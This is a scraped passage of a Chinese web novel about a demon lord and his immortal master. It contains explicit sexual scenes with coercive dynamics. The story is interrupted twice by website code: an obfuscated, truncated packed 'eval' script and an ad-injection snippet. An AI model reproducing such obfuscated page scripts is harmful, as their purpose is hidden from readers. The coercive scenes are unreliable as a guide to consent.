在师尊温抚他那刻,眼前霎时一片清明,他看到了那盏彩灯,很漂亮,而后,师尊与他说:“拨灯弦,三下。” 鬼使神差一般,陌归尘乖乖伸出双指,捏着花灯上的小旋钮,拨一下,八角花灯便转动一面。 三下过后。 花灯面上的诗句,霎时闯进视野,写的是: 【愿君心似我心,定不负相思意】 还未消化这处,他又听到师尊语气藏着点独特安抚,缓声问:“这样,真实了吗?” 真实,却比虚幻更可怕。 陌归尘猛地从师尊怀里抽身,共享观感的术法随之消失,哪怕眼前漆黑一片,仍是坚定不移地退后两步。 他记得此地有座塔,乃镇上最高建筑,便道:“师尊,看到那座十二层高塔没?我从塔顶跳下来,你能接住我,我就信了。” 师尊似乎习以为常他想一出是一出的性子,如常淡笑,温和又纵容嗯了声。 * 陌归尘走进塔内,转手就掏出枚笛穗。 是闻笺闯上古秘境带回的。 他当初只道这是个简单的穗子装饰,哪曾想竟是不可多得的稀罕法器。 陌归尘对着笛穗滴血,强行驱动法器,这种方式极其消耗精神力,瞬移回魔宫时,险些虚脱晕倒,他双膝跪地,撑地的手掌几不可察颤抖,肌肤煞白,覆上层冷汗,正张唇喘息。 汗水顺着下颔,滴答滴答坠落,陌归尘如溺水,刚被从湖面捞起,连眉睫都沾满潮气。 脆弱。 又隐约透出两分潋滟的糜艳。 青年撑在地上歇了许久,才来到那方木棺前。 探进手去摸索。 下一瞬。 陌归尘被猛然拽进木棺。 53.你逃得了吗? 53. 陌归尘猝不及防被拉进木棺,无形的水流划过颈脖。 勒了一勒。 有点窒息。 整个人都如溺于深不可见的湖底,他无助张唇,又被灌进源源不断的液体。 条状的水草,不知从何钻出,缠住他脚踝,蔓延而上,湿滑黏腻,一点一点轻抚肌体,绕过大腿,圈上腰腹,又没过胸膛,爬到锁骨,最后探出,温柔轻缓点点他唇瓣,如在索吻。 逼仄的空间内,感观被无限放大,断断续续的呼吸,听起来像是逢迎的喘息。 “放开。”陌归尘咬牙切齿。 熟悉话音回应他:“难道不是你主动来找为师的?” 水草末梢不知何时长出锯齿,悄然无声地磨了磨陌归尘下唇,叫人止不住发痒发颤。 “殿下可真是难捉摸。” 师尊由始至终都如透明人,不知藏在何处,迟迟未现身。 但他又清楚这人在暗中观察、操控一切。 毕竟哪怕失明,也是能勉强捕获光线的,师尊视线投来时,陌归尘隐约感觉到有两道暗红的光,于昏黑中射来脸颊,像两盏漂浮的红灯笼,幽幽盯着自己的猎物。 未知事物带来的不确定性固然刺激,但陌归尘还是不太喜欢其中伴随而来的轻微恐惧感。 他问:“不能以真面目示人?” 话刚完。 那人淡笑一声。 随后,一具实体迎面压住了他,压得人难以呼吸。 “你!” 陌归尘抬脚就上顶去,木棺过于窄小,勉强承受住两人的肉搏交手,又一次对峙,木棺终于耐不住,被震碎得四分五裂。 师徒二人相拥滚了出地面,几个翻转后,陌归尘双腿跪地,扼住对方咽喉,利落掼倒对方,就这么半趴半坐在自家师尊腰腹,将人制服在胯|下。 双方贴得那么近,身子上有什么变化,自然被对方感知得一清二楚。 愣神的功夫,那人顺势一番,又将他困回身下。 师尊手掌在托在他后脑,偏低头,凑到他耳畔,话里含着笑意,缠绵低语:“殿下,你的身子,比你的嘴要诚实些许。” 陌归尘眉头深锁,掌心力度收紧,死死掐住对方咽喉。 那人却像被取悦到极致,笑得更为放肆,就这么由得他掐着,弯身抱起他,来到旁边的矮石桌。 雪影袖摆一拂,案面的东西零零散散掉了一地,悉心铺上张软绒发暖的垫子,才不紧不慢地把怀中人放倒。 在陌归尘看不见的屋顶上,飘满人皮灯笼,暗红交织的光,为二人镀出旖旎的暧|昧。 碎木屑在雪影颌侧刮出条血痕,鲜血微渗,却给那张清冷寡淡的脸,添上分阴沉的欲色。 …… 红袍松松垮垮铺散。 半晌后。 陌归尘右手手肘抵住桌子,有些吃力地半撑起身,左手一把抓住伏在他双|腿|间的脑袋,没能推开人,后脚跟踩上师尊肩膀使力蹬开,脊背却猛然紧绷了一下,整个人软得跟没骨头似的,乏力往后跌了跌。 师尊适时松开口,起身,伸来手掌,护住他后脑。 整个人也强势压来。 对方的唇吻落,快要相贴那刻,陌归尘偏头,躲开了,师尊那温润黏滑,还带着点血腥味的唇,便意外印在他颔侧。 那人也不恼,只笑着捏了捏他下巴,微微吞咽一下,才悠悠开口:“为师都不嫌弃,玉玉倒是先嫌弃上了?” “因为我没你变态。” 雪影轻嗯了声,像是在认可这个来自徒弟赠予的美称,指背蹭去陌归尘唇角,抹走点水渍,送回自己口中,尝了尝:“我看殿下似乎也挺享受的。 “就一会儿都熬不住。” 而后,半是无奈半是调侃,轻轻含住红艳滴血的猫耳尖:“还失|控到刺也收不住,为师的嘴都被你扎破了。” “你、” 陌归尘霎时脱力,又跌了跌,扬起紧绷的脖子,咬碎牙似的,挤出个字,“滚。” 抬手便是一巴掌甩过去。 修为全无,加之如今状态不佳,这巴掌便显得软绵绵的,没什么力气,落在另一人眼中,更像是事后的打情骂俏。 雪影握住陌归尘手掌,有些心疼似的,浅吻了一下这发红的掌心,血红缓缓褪色。 而后,才慢悠悠移动视线,眸光狎昵落在陌归尘颤动的眉睫,如在看一个养不熟,对着主人龇牙咧嘴、张牙舞爪,极其顽劣的凶残小猫。 他没来由轻叹:“一天天的,净把自己搞得这么可怜。” 随后一把攥住徒弟的脚踝,那人挣扎着要抽腿。 雪影沉声道:“别动,再动为师就生气了。” 也不知是不是这话真唬住底下人,小徒弟竟难得收起猫爪子,呆呆愣住了。 莫名有些呆萌。 想*。 还想吃掉。 雪影觉得有趣极了,点点陌归尘鼻尖:“不是凶你。” 便见底下人轻嗤着撇开头。 更可爱了。 更想*。 更想吃掉。 雪影没再耽搁,熟稔脱掉徒弟的鞋袜,指腹轻轻擦过徒弟脚侧肌肤,那成片磨破而渗血的水泡,便霎时消失。 “没修为还乱跑,不知疼?” 他惩罚似的掐了掐徒弟脚心,惹得人轻唔着甩起猫尾,就往他身上抽了抽。 骂道:“你有病啊!” 被骂,雪影却轻笑挑眉,乐意奉陪似的反手抓上猫尾,含住尾尖,咬掉几根毛,吃进嘴里,细嚼慢咽。 他嗓音轻缓喟叹:“可不就是有病,养了几十年的猫,养不熟也就罢了,还跟个祖宗似的,要为师不厌其烦去倒贴、小心翼翼去讨好,到头来,人家还不一定乐意给我好脸色。” 陌归尘哪承想对方竟趁机倒打一耙,打感情牌。 他轻哼出一声:“师尊。” 雪影眉眼轻弯看人。 徒弟那话音,闷闷哑哑的,也温温软软的,有点像求饶的服软,但他决计不信自己这徒弟肯在他面前让步,一分都不可能。 只是仍抵不住那一声“师尊”带来的诱惑。 一副被迷得神魂颠倒的样子,雪影极尽温柔卸下防备,也顺势松开箍住陌归尘的手:“小祖宗有什么吩咐?还想要?” 脱离禁锢,底下人一膝弯顶来小腹,趁机翻身落地,拉开二人的距离。 抽出藏在袖口的匕首,警告道:“别过来。” 雪影生生吃了徒弟一脚,语气却是狎昵:“玉玉啊玉玉,你真是调皮又傲娇,故意的? “以气师父为乐子?” 面对骄纵又叛逆的徒弟,雪影难免头疼,还是如常纵容,伸出拇指,摩挲着自己下巴:“为师猜对了吗?” 他一步一步逼近。 徐徐而行,压迫感更盛。 “别过来。” 对面人举起匕首,冷然发话,“我让你别过来。” 雪影不以为然,煞有其事道:“容为师想想,傲娇的性子应该是表里不一?所以,你是想为师过来的,还说了三遍,看来这是想得紧。” “你,不要脸!” 陌归尘握着匕首,退无可退,脊背终是抵上冰凉的墙面,紧了紧匕首,转而把利刃架到自己脖子,“别过来!” 对面人却失笑:“怎么傻得这么可爱呢。” 只一句话的间隙,陌归尘就被人扣住手腕,按在头顶的墙面,那人顺势弯下身一托,捞起他大腿,便把他单手抱起。 “你——” 话才出口,承载着惊人占有欲的吻,猝不及防落下来,堵住了他微张的唇。 “唔唔……” 陌归尘奋力反抗,却是无处可遁,只能被动承受着,承受着师尊那汹涌又炽热的吻。 大抵是那人有轻微的良心发现,让他得喘气的间隙。 陌归尘胸脯剧烈起伏,细微而破碎的喘息中,当啷一声,匕首被人扔掉。 雪影双指掂起陌归尘下颌,拇指爱|抚过对方唇瓣,时而温柔时而粗|暴地蹂|躏。 最后埋在徒弟颈窝,深深嗅了嗅,才不紧不慢张嘴,牙齿细细磨了一口,留下道淡而暧|昧的红痕,是能昭示二人亲密无间的痕迹:“既然敢在这种关头来寻我,就要做好承受一切的风险。 “为师没教过你么? “凡事都得三思而后行。” 陌归尘颤颤仰头,眼底噙出湿润的水汽,鼻尖泛出点红,几缕银发还糊在唇角,纤细的脖子,绷出个脆弱的弧度,锁|骨处还有道很淡的牙印。 那微张的唇,泄出断断续续的喘息,宛若求饶的泣音。 雪影目眩神迷欣赏着。 真可怜。 像被欺负坏了。 徒弟的模样固然无害又可怜,但脸上惊惧惶恐转而全褪,在他的注视下,挽起道淡定的笑:“师尊怎么知道我没有三思而后行?我是没把握,但不代表我没退路。” “哦?” 雪影爱怜摸过陌归尘艳红的眼尾,“若你今日见的不是为师,你确定你能全身而退?” “承蒙师尊多年教诲,今日,无论面对的是谁,弟子都能全身而退。” “是么?这么自信?”雪影话刚完,只听咔哒一声,自己蓦然被噬魂锁圈住脖子。 瞬间将他锁于虚空之中。 雪影抬眼,眸色幽深染着诡异的光:“玉玉这么大逆不道?怎么跟拴狗似的拴住为师?” “因为你就是条疯狗!” 二人离得近,雪影手掌伸来,刚好能触碰陌归尘的脸颊。 温柔抹过泛滥的眼尾,他捻捻指尖的泪花,含笑问:“为师是疯狗,那你又是什么? “被疯狗口得泫然欲泣的小疯狗?” 雪影沉吟一声,回味无穷似的:“哭得这么可怜,真是诱着人狠狠蹂|躏一番,如你曾经所言,弄死在床。” 啪—— 噬魂锁断裂,雪影从虚空光门踏出,是一贯游刃有余的姿态,他淡笑弯下身,去抓坐在地上喘息的陌归尘,冰冰凉凉的手,一把拽住徒弟的脚踝。 话音缱绻,诱哄一般:“你不也很享受与为师玩这样的把戏么?那么今日,就再尽兴一些如何?” 陌归尘沉默,自打发现真相后,自己的确有千万种方法除掉这颗如蛰伏夜色的毒瘤,却唯独选择放任,由得其缠附肌肤,看似眼不见为净,实际更像逃避。 逃避的背后藏着什么…… 那人轻笑,如能揣度出他的每个想法,而适时解惑:“玉玉,承认吧,你分明爱我,那何尝不试着毫无保留地接纳为师呢?” 那人攥住他脚踝就往身下拖了拖,紧急关头,陌归尘骇然抬起另一条腿,用膝弯抵住那人腰腹。 时辰拖到这应该也差不多了,恢复的精神力估摸着够再次启动笛穗,陌归尘立马暗中掐动笛穗。 巨大的光芒升起,隔绝了二人,可那一刻,他又分明看到这位师尊站在光圈之外,眸底生出几分兴致,像个置身事外的观客,含着别有深意的笑,静静欣赏他的负隅顽抗。 彻底消失前,他清楚听到那人稳操胜券的话:“为师的好徒儿,连你几分高|潮,我都能精准掌握。 “你真的逃得了么?” * 陌归尘跪伏在塔内平息。 自己刚从另一位师尊惊人的欲|望里挣脱,也就说塔外的那位师尊,确确实实爱他到极致? 而且,塔外那个一夜转性的师尊,也不是被假扮的闻笺。 几番折腾,得到确切答案的人,仍是难以置信。 陌归尘没登上塔顶,从塔内走出来:“师尊,真的不是梦吗?”毕竟人临死前,总爱做梦。 那人也似被他逗乐:“莫不如就把为师送回去?” “你休想。” 陌归尘登时不乐意了,轻哼着一把抓住师尊手腕,嗓音有些闷哑,亦藏着点不难察觉的轻快舒畅,低低吐出两个音,“带路。” 青砖大道上走了半天,懒劲儿又犯的魔尊大人突然停下,心血来潮似的:“你再问我一遍,有没有被吓到。” 师尊:“有没有被吓到?” 陌归尘:“有,你补偿我。” 师尊:“怎么补偿。” 陌归尘:“背我。” 师尊静默片刻,一如既往遂他的意,屈膝蹲到他跟前,陌归尘暗中偷笑,摸索着伏身,利落攀上去。 斜对面,有队人马匆匆落轿,是在迎娶鬼新娘,新郎正在背一个一比一比例还原的纸扎新娘,他小心翼翼把新娘子从轿内背出来。 陌归尘师徒也刚好路过。 两方便是这样擦肩而过。 他听到些声响,好奇问:“师尊,什么声音?” 师尊淡声回:“没什么,遇到冥婚罢了。” 陌归尘嘟囔道:“我就说今天成亲很晦气。” 师尊温言置否:“不能这样说,那也是旁人的好日子。” 陌归尘阖眼:“好吧。” 昏昏欲睡之际,魔尊大人总算回到魔界,听到的第一句话是来自二竹弋的:“尊上,殿下,吉时快到了。” 陌归尘恍惚睁眸,感知到天色暗下些许,正好是黄昏时分。 他轻嗯了声,又莫名疑惑挺了挺身子,转头面向二竹弋。 师尊也捕捉到他的异样,问:“怎么了?” 陌归尘:“没什么。” 随后,再次听到二竹弋的嗓音:“殿下怕是饿了,侧殿已备好酒菜。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陌归尘靠在床角,明明得偿所愿,却仍有些状况外,百无聊赖拨弄床上的莲子百合桂圆花生…… 良辰美景下,思来想去半天的人,忽然开口:“师尊,你来吧。” 猫是有倒刺的,他不会收,又或者修为全无,收不了,自己今天一个不慎已把另一位师尊的嘴扎出血了,他完全无法想象操作起来会有多疼。 下一瞬。 陌归尘很自觉躺下来:“反正他们都说,下面那个舒服。” 师尊似乎也难以预料这一处,怔了怔,把他揽起,也读懂了他更深层的意思:“帮你收好了。” 陌归尘还是没动。 “怎么这么懒。” “猫本来就懒。” “师尊不想做,那我们就歇吧。”陌归尘八爪鱼似的,手脚并用缠住自家师尊,猛地把人扑倒。 师尊由得他趴来,只是含笑道:“抱那么紧,为师怎么睡?” 陌归尘绳子似的捆住自家师尊,一点也不愿松开,甚至得寸进尺把脸埋进对方肩窝,闷声闷气的嘀咕:“我怕我一睡醒,师尊就不见了。” “不会。” 那人轻揉他发顶,手掌顺势往下抚,轻拍他肩背,一下又一下的,熟悉的动作,叫人梦回从前。 师尊的动作轻缓,维持着如凡间母亲哄小孩睡的姿势,下巴抵着他脑袋,低声与他说话:“为师再也不会离开你。 “以后,只有我们,好吗?” “好。” 陌归尘心满意足搂紧些许,当然好了,简直求之不得。 夜半时分。 陌归尘无端醒来,身旁无人,摸去榻边,微微发凉。 他倏然腾起身子,鞋袜都没来及穿,披头散发、衣衫单薄,光着脚踩在地面,跑了出去。 红色的身影穿进夜色,惊慌失措辗转在茫茫天地。 终于在后山,停下。 夜风微凉,他闻到点烟草味,脑海蓦然联想到那般谪仙的人,怎么会吸烟呢。 愣神的功夫,脚下一阵腾空感,头顶落下师尊的话:“是不是不怕疼?” 一言惊醒梦中人。 陌归尘后知后觉脚下似乎扎进些尖利的碎石硬物,阵阵刺痛袭来,汩汩的血水也顺着后跟往下坠落。 师尊抱着他坐到秋千架上。 他的小腿还晾在那人大腿,由着师尊替他疗伤,寒风凛冽,阵阵寒意刮来时,脸颊愈发冰凉,陌归尘摸上眼角,热流滚滚。 他方惊觉自己泪流不止。 他挨向对方,双手情不自禁抱上去,却仍是无法缓解:“师尊,为什么我心里有种难以言喻的哀伤?” 陌归尘摸向空落落的心。 “我这里好空,好难受。” 后山的风缱绻温柔,拂起彼此的秀发,黑白两色发丝交缠着,对方没说话,陌归尘只感受到师尊的手,向他伸过来,小心翼翼托着他潸然泪下的脸。 那刻,时间仿佛被无限拉长,他也不知这个动作维持了多久,直至风停,那人才慢悠悠倾下身。 师尊勾住他后脑勺,柔软的触感印下来唇部,还带着点猫草的芳香,清新、诱人。 猫草对猫有致命诱惑。 陌归尘情不自禁伸出舌尖,意犹未尽舔了舔,连猫耳也情不自禁冒出来。 …… 膝盖在藤木架上磨了磨。 陌归尘撑着师尊腰侧,有些不适抿唇,便感觉底下人轻笑一声,朝他两边小腿垫来柔软而厚的布料。 …… 不知多久后,皓月隐入云层,底下人含笑逗他:“怎么不喊‘闻笺’了?” 听到“闻笺”二字,陌归尘撑着师尊腰腹的手指,都耐不住跟着颤得蜷起来。 他就知这腹黑老男人铁定没安好心,攒了几十年的账,都在今夜一次算回来了。 从前极其嚣张,一口一个“闻笺”的人,此刻也老实得再也不敢喊直呼师尊名讳。 底下人搂住他坐起,手掌覆在他后颈皮,温声问:“生气了?怎么不说话。” 陌归尘沉默着摇摇头。 “怎么不叫人?” 夜里潮气重,师尊指尖拂过他沾上雾水的眉睫,动作又轻又柔:“再叫一声,好不好?” 陌归尘混混沌沌喊了声“师尊”,耳边顿时响起道温沉的笑,那人起身,抱着他走回去。 魔界后山的夜很美,他仰起头,眸光越发涣散,晕乎乎的,只勉强看到满天星辰,朦胧倒映在他眼底,熠熠闪耀。 54.第 54 章 54. 陌归尘不知自己是何时睡过去,也不知自己醒来时是什么时分,只知自己身上很是清爽,衣裳也被换了身新的,整整齐齐。 与风月话本里那些一夜过后,骨头缝冒酸水,或是什么被车轱辘子碾压过似的诸如此类的状况全然不同。 自己整个身子轻盈不少。 更像是灵异志怪话本里那些专门吸人阳气的妖精一般,得了不少滋润。 “醒了?” 有人问。 陌归尘轻嗯声,慢腾腾撑起身子,指端触碰到榻边人手指那刻,竟条件反射地缩回来了。 师尊许是被他这奇怪反应逗到,轻笑问:“怎么了?” 他揉揉滚烫的眉心:“没、没什么。”只是这几十年,他还是在那样的夜,才如此真实感受到师尊指尖的温度。 而且,那么的灵活,奇怪的画面再度闪过,历历在目,叫人颈脖止不住地烧起来。 …… 平日里又倔又冷的人,此刻,如被抚软盔甲的刺猬,柔软、发烫,露出绵白的肚皮,任人鱼肉。 龙凤红烛昏罗帐。 幽幽火光圈住一隅,在床铺上化出一片淡淡暖意。 素白修长的指抵在橘光下。 五指一点一点蜷缩、收拢,直绷出淡淡的青筋,最后深深揪住衾被,发颤发抖。 那人半逼半诱,哄着他喊了许多称呼,到底还想听什么呢?陌归尘把所能想的都想了一遍。 某些荒诞的画面,如水流般,连绵不绝涌出。 他忽然想到那个摄政王强取豪夺新帝的话本: 【“太子殿下刚登基,就急不可耐清君侧?可真是个小没良心。” 【那夜的龙榻,幔帐浮荡,流苏摇颤,红烛高燃,旖旎淫|糜的气息逐渐弥漫整个室内。 【太子殿下失焦的眸,浸满迷蒙的水迹,残破的嗓音终在一声“梓童哥哥”,得了短暂的停歇。】 陌归尘神智昏沉,几乎是脱口而出同一个称呼,也迎来另一番突破他认知的回礼。 他实在无以想象,那样温柔恬淡的高岭之花,顶着张端方雅淡的脸,行这般隐秘又刺激,还羞人的事。 他下意识拢腿:“等、等一下。” “我们这样,很奇怪。”陌归尘紧绷着手肘撑在床铺,另一只掌搭上自家师尊肩头,便要借力往后缩。 那人浅浅笑了笑。 话音温温沉沉的,落在昏幽的夜,含糊而挠人。 而后,师尊手心握上他膝弯,往两侧挪开,音色恢复些许平静,却含着点蛊惑:“不怪。 “会舒服的。” 那人大抵也在念着什么,突然给自己变出对软绒绒的鼠耳,抓住他的手就往上蹭,讨他欢心似的,陌归尘确有被哄到,懵懵懂懂去玩师尊的鼠耳。 愣神的功夫,舌|尖的温度,猝不及防钻|进来,什么也瞧不见的人,感官极度敏锐,那一瞬带来的快意,仿佛能被无限拉长,叫人浑身打出个激灵。 摔进被子里。 …… 几乎同一瞬间,陌归尘也倏然摔出回忆。 大抵是见他莫名应激一般打了个寒颤,师尊的指背碰来他脖子,探了探,问:“不舒服?” 师尊指尖的温度,传来肌肤,魔尊大人刷地腾起身子,腿下却莫名一软:“没。” 师尊适时扶来,顺势带着他,再一次运起昨夜教过的术诀:“可有记住心法要领?未及时消化的,多掐几遍诀。” 自昨夜过后,陌归尘明显感觉体内的修为涨回些许,也难以预料,师尊留下的元阳竟会自动转化成修为。 且比他自己吸纳天地灵气或者堆砌灵丹妙药转化的,要精炼纯粹百倍。 犹如为他量身定制那般,完美契合进骨血。 陌归尘:“你是炉鼎之躯?” 师尊没直面回答,只道:“你若不介意,为师自然愿意当你的炉鼎。” 陌归尘听懂了,不是。 他撇头:“是我体制特殊?” 师尊淡笑松口:“是为师特殊。” 陌归尘还依偎在自家师尊胸膛,双手攥住对方腰侧布料,昂起头,神情难辨喜怒:“师尊是为帮我重塑修为,才主动献身?” 修为全无,若是强行镀修为必遭反噬,轻则经脉受损,重则爆体而亡。 而他的经脉已经受损过一次,若是再受损,怕是要彻底沦为无法修炼的废人了。 而双修,无疑是最有效亦是最温和的恢复修为的法子。 “所以,是么?” 他又按捺不住问了一遍。 片刻的沉寂后,那人揽住他肩膀正正身子,慢条斯理挑起他发梢,在发尾落下个浅吻:“不动情的元阳,没这般效果。” “哦。” 陌归尘闷闷不乐点头,抬眸的瞬间,已恢复往日那拒人千里之外的漠然。 这才出房门,婢女也匆匆跑来迎他:“尊主,今日朝会,都在等您。” * 九幽魔殿。 鎏金宝座上的银发青年,一袭红衣,面无表情,支颐而坐。 初始只是些琐碎事,循例禀告,直至一名妖族族长颇为气愤站出来:“仙门那群鼠辈,着实可恨!什么脏水都往咱们头上泼!” 而后其余人也纷纷附和。 “合欢宗附近闹鬼,也能赖到咱们魔界头上!” “就是!咱们魔界哪来的鬼!尊主,请允属下领兵,踏平仙门,决计不能让这群宵小踩到咱们头上来!” …… 底下人愈渐群情激昂,你一言我一语争得脸红脖子粗。 陌归尘听了半天,冷淡道:“本尊自有分寸。” 至此,众人方醒觉,自家尊主似乎心情不悦,便也十分有眼力见儿收口,生怕惹这位主儿不快,而人头落地。 要知这位主儿当年哪怕是重伤,也能一人屠城,更是以一己之力制衡魔界八大家族,谁敢惹这位祖宗呀,除非嫌命长。 群臣散去。 殿下霎时便只剩下二人。 二竹弋正要离去。 忽然被喊住:“左护法。” 他回头,只看到陌归尘侧颜陷进烛光,时明时灭,衬得人虚虚实实的。 “殿下有何吩咐?” 那人托腮撑头,五官固然明艳秾丽,但不说话时,却是冷淡疏离得紧,看起来很不近人情:“为什么喊我殿下?” 二竹弋敛眸,微笑:“殿下还在意这等虚名?那我换个称呼?” 陌归尘掸掸衣摆起身:“问问而已,你慌什么?” 二竹弋:“殿下这是打算出一趟魔界?” 陌归尘神情漠然:“仙门的事,跟我魔界何干?” 后道:“那老东西死了没?” 二竹弋:“正在好转,再养些时日,应该就痊愈了。” “凶煞都毒不死,真命大。” 听着这话,二竹弋垂眸低笑,意有所指:“华掌门哪是命大,他是运气好,遇上贵人了。” 陌归尘冷眼瞥人:“你话很多”便走了。 * 魔界,某处崖边。 树下,正立着块无字碑。 陌归尘抬手立在碑前,遮挡着日光,放下壶好酒,自顾自斟了两杯酒,席地而坐。 闷头饮完酒的人,捡起根树枝,循着记忆,在灰黄土面涂涂画画,来来去去却是同一个符号。 半晌后,陌归尘笑了。 他丢掉树枝,拍拍手起身,魔界后山景致秀丽,与浮华派一般无二,都是那样的大好风光迷人眼。 一直都没变。 一直都那么美好。 * 离开崖边,陌归尘回到处理公务的侧殿。 殿内。 案面正摆放着碗温热的羹汤,师尊也坐在鎏金椅上,应该是在等他。 陌归尘诧异挑眉,却也顺其自然地往师尊身侧坐下,拿过本奏本,翻开,指腹压上去,盲摸着里面的内容。 师尊指尖碰到他腰腹,温温凉凉的:“还难受么?” 接触的刹那,眼前清明一片,魔尊大人一目十行浏览完奏折,全然忘掉自己昨夜模样,低着眸挺了挺腰身:“也就那样。” 他沾着朱砂边写批语边回:“再接再厉吧。” 片刻后,又自言自语嘀咕声:“会怀么?” 身后人低笑,拿出方帕子去抹他不小心弄出桌面的朱砂:“你想要?” 陌归尘哑然,定住手,攥实拳头紧了紧笔杆,恼嗔:“谁要跟你生孩子啊,痴心妄想。” 而后先发制人道:“闭嘴,吵死了。” 身后人拿过羹汤:“喝一点?”并且很自觉舀起一勺,送到他唇边:“不烫的。” 陌归尘低低嗯了声,嗓音轻而飘忽,不细听都不知这人有说话。 他顺从张嘴。 眉眼上的冷意褪却,整个模样看起来乖巧极了,像被哄顺毛的猫,哪怕食不知味,也是喂一口吃一口,细嚼慢咽,赏心悦目。 吃完,又处理起政务。 堆叠如山的本子逐渐见空。 陌归尘批阅完最后一本折子,目视前方,总感觉师尊在看他,便丢下笔,问道:“师尊,你不会厌倦吗?” 没有指名道姓。 甚至算不得是个完整的句子,对于听者来说,属实是没头没尾难理解。 那人却听得一分不差,并给予言简意赅的答案:“常看常新。” 微妙,又莫名浪漫。 陌归尘听笑了。 他问:“这算情话吗?”说话间,心无旁骛地去想闻笺的眼神。 沉溺在回忆中的人,一遍又一遍回想闻笺的眼神。 记忆中,闻笺的眼神是平淡,仿佛山间一泓潭水,又清又冷,不会为世间万物含有丝毫波澜。 那是一个“天地不仁 以万物为刍狗”的众生平等的眼神,像极一杆处于平衡状态的秤,只是后来,这把秤逐渐偏移。 在闻笺的目光里。 陌归尘时常觉得自己如同个风餐露宿的旅人,大雨滂沱的夜,摔倒在门庙前,昏迷前一刻,看见仙人从石像化形,向他走来,亲自扶起他。 他惴惴不安抓住那抹绣袍。 自此,他有了归宿。 陌归尘含笑退出回忆,从柜子地下翻出张合婚庚帖,里面只有二人的名字,其他一概未写,因为他无从得知。 “师尊,你到底年方几何?” “不记得。” “上回还说上千岁,果然老男人没一句真话,一天天就会坑蒙拐骗。” 身后人搂着他,指尖点点脑门:“神的岁月漫长无边,确实不记得,当初只是随口说的。” “那你怎么不下意识说其他,偏偏是一千。” “明知故问。” 陌归尘:“我才不知道。” 师尊如他所愿开口:“接过你的那刻起,才开始记得时间。” “那……”他轻唔一下,“不是说无名无姓么?那是为何取的‘闻笺’?” “随便取的。” “不信,古籍说,九尾一族的神君姓‘闻’。” “又明知故问。” “没。” 两人静默相拥片刻。 陌归尘又问:“你为何没名字?无亲无故?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 师尊:“嗯,以天地为铺盖,朝饮晨露,夕餐落英。” 陌归尘指尖勾住师尊的墨发,撩进指缝把玩,瓮声瓮气嘀咕:“流浪就流浪,说得那么浪漫。” “心疼了?” “才没有。” “都过去了,不重要。” 陌归尘点头,示以认同,语气轻描淡写:“确实不重要。” 像是循例过问,给人种种象征性走走过场的错觉。 窗外黑云压城,狂风骤起。 陌归尘窸窸窣窣转身,迟疑扬起头,刚望到师尊那清隽的下颌,眼前忽而陷回片黑暗。 与此同时,电闪雷鸣。 轰隆一声巨响,师尊的双掌捂上他耳,温软的吻也猝不及防袭下来。 …… 窗边薄纱缥缈浮荡,案面的折子零零散散撒了一地,覆盖在陌归尘眼眸的红丝绸被泪迹浸湿,黏糊在眼皮,他挽着唇,不知自己在笑还是在哭。 他很想喊闻笺,不知为何,出口时,却转变成轻哼的“师尊”,闷闷哑哑的。 而后,便迎来更激烈的吻。 和窗外的狂风暴雨一般,叫人湮没在混乱不堪中。 这场风雨,久久不能停歇,哪怕有丝丝缕缕的灵力钻进体内,陌归尘还是越来越倦乏,缓缓阖眼,静静睡在师尊怀里。 他不得不承认,自己对这具身体,确实有着无法抗拒的眷恋。 困意席卷而来的前一刻,陌归尘又挣扎着动了动,他抓着自家师尊的袖口:“师尊,念会儿诗,像小时候那样。” 师尊点点额头:“这么大个人,还要哄睡?” 陌归尘哑着嗓音:“要,师尊给的,什么都要。” 而后便听那人念起陌生的诗词,师尊的嗓音和从前无差。 像千年的月。 有种恒古不变的安稳。 能平复他久不宁的思绪。 陌归尘奇怪地想。 自己是没有家,可却不得不承认,眼前这个给予他来路的人,就是他的归途。 这个人对他有恩。 是怎么也还不完的恩情。 他双手虚虚晾在对方的脖子,感觉到眼角被轻轻碰了一下,师尊无可奈何喟叹:“怎么哭得这么可怜。” 那人揽住他腰身,调整了一下姿势,动作极尽轻柔揉着他脊背:“这首诗不好听?” 他没说话。 师尊继续替他拭泪,陌归尘眼底蓄着的热流,便更汹涌翻滚,怎么也擦不完。 “弄疼你了? “坐着不舒服? “熏香不好闻?” …… 他记不清师尊问了多少,只知那人得不到任何回应,还是不厌其烦一遍遍排除,最后恍然大悟似的,撩起他沾了点朱砂的袖口一角。 “衣裳脏了对不对? “真是爱干净,这就带你去换好不好?别哭。” “别哭”两字落下,陌归尘指尖才松动,压住师尊肩头,反驳:“我又瞧不见,我哪知。” 青年的声音哑涩,微微昂起首,眼神失焦而涣散,蒙着层水雾,朦胧中尽是眷恋与柔软,显得特别含情脉脉。 师尊替他拭泪的指倏然顿住,陌归尘抓上师尊的掌,埋低头,含住那根指尖,尝了尝。 咸涩,还带点苦味。 而后,他听到师尊笑了声,揉揉他脑袋,他顺势靠向对方肩窝,栀子花的味道真好闻。 和他的泪水不同。 不苦。 清甜极了。 然后,陌归尘发现自己的泪,更收不住了。 无计可施一般,青年五指抓上案面墨汁未干的纸张,宣纸被攥得扭曲,而陌归尘也在那份扭曲中,清醒地沦陷…… * 翌日早,天光朦胧。 陌归尘独自一人走出魔界,路过若水河畔,没听到熟悉的浪潮奔腾声。 他刚要提步离开,却被位不速之客拦住去路。 寒风萧瑟,簌簌扑面。 对面人的话音也显得缥缈失真:“为师不放心。” 陌归尘:“不放心什么?” 师尊缓慢走来,朝他弯下身,屈指点点他额门,嘴里还含着淡淡的笑:“不放心我那口硬心软的徒弟,要背着旁人,偷偷摸摸做好事,万一又被欺负了怎么办?” 陌归尘别开脸:“我去看热闹而已。” 师尊向他伸来手:“那能不能也带上为师?” 熟悉的对话,霎时将人拉回旧时的记忆,当年,闻笺也是操着这样的语气,与他说类似的话。 [下次打架不妨带上为师] [为师给你撑场子] …… 天际云层穿出丝光。 几缕日光映落眸底,陌归尘不适眨眨眼,抬手挡了挡光线,跟前却恍惚出现两道剪影,一大一小。 是幼时,闻笺带他游历的画面,夕阳西下,落霞与孤鹜齐飞,师尊牵着他,穿过秋水长天。 